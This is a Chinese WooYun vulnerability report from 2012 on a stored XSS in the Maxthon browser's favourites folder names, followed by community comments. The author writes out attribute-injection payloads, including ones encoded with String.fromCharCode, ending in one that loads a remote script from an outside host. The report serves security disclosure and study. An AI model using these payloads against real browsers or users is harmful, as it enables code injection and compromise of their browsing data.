当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-08214

漏洞标题：遨游浏览器xss 0day

相关厂商：傲游

漏洞作者： random_

提交时间：2012-06-12 14:14

修复时间：2012-06-17 14:15

公开时间：2012-06-17 14:15

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-12： 细节已通知厂商并且等待厂商处理中
2012-06-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

遨游浏览器某功能才存在存储型xss。
可致留后门。

详细说明：

一时兴起，挖了一上午，找到了一个漏洞(本人遨游版本v3.3.9.1000)。
没给出exp，不过再花点时间，研究一下遨游的sandbox代码，就能写出来了。
遨游浏览器的收藏夹，容许用户建文件夹，我之前试了

">'><embed>


没效果，也没看源码就拉到了。今天兴起，看源码，是这样：


于是新建文件夹

"> onmouseover='javascript:alert(/xss  by tmxk.org</SPAN>/)'



已经有了，怎么利用呢，
于是测试了容许最大长度，发现没限制。于是测试
发现没效果，

"> onmouseover=javascript:write("<script>alert()</script>")


哦这个转意了，于是，改变代码：

tmxk.org" onmouseover='javascript:write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,41,60,47,115,99,114,105,112,116,62)'


成功了。于是测试：

"> onmouseover=javascript:write("<script/src=//tmxk.org/q.js>")


同样变化代码，没有效果，纠结了一会儿，才明白//网址默认协议与当前页面协议一致，而遨游的属性页是mx://
于是这样写

"> onmouseover=javascript:write("<script src=http://tmxk.org/q.js></script>")


变换代码：

tmxk.org" onmouseover='javascript:write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,109,120,107,46,111,114,103,47,113,46,106,115,62,60,47,115,99,114,105,112,116,62))'




所有测试截图：


漏洞证明：

修复方案：

你懂得，我还得挖掘。

版权声明：转载请注明来源 random_@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-06-17 14:15

厂商回复：

漏洞Rank：16 (WooYun评价)

最新状态：

2012-07-23：已修复.

2012-07-23：已修复.

漏洞评价：

评论

  1. 2012-06-12 14:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    可以执行代码的吧，洞主努力！

  2. 2012-06-12 14:34 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @xsser 哈哈 还得深入学习

  3. 2012-06-12 14:38 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @random_ 这里有深入的讨论，xss之后可以看看上下文，然后做更多的事情 http://zone.wooyun.org/zone/browser

  4. 2012-06-12 15:07 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @xsser 我意识到了 挖是一回事 技巧就那些 但利用是一回事 千变万化 只有实战利用才会提高

  5. 2012-06-12 17:08 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    http://tmxk.org/forum.php?mod=viewthread&tid=501也是个说傲游的

  6. 2012-06-12 17:10 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    汗，发现是同一个人....

  7. 2012-06-12 18:04 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @random_ 好厉害@_@ 拜模你啊

  8. 2012-06-12 21:18 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    话说你们这帮人傲游和遨游从来不分的么？

  9. 2012-06-12 23:17 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    @popok maxthon就行 写错了

  10. 2012-06-13 15:29 | VivenChen ( 路人 | Rank:8 漏洞数:1 | 平平淡淡过日子)

    厉害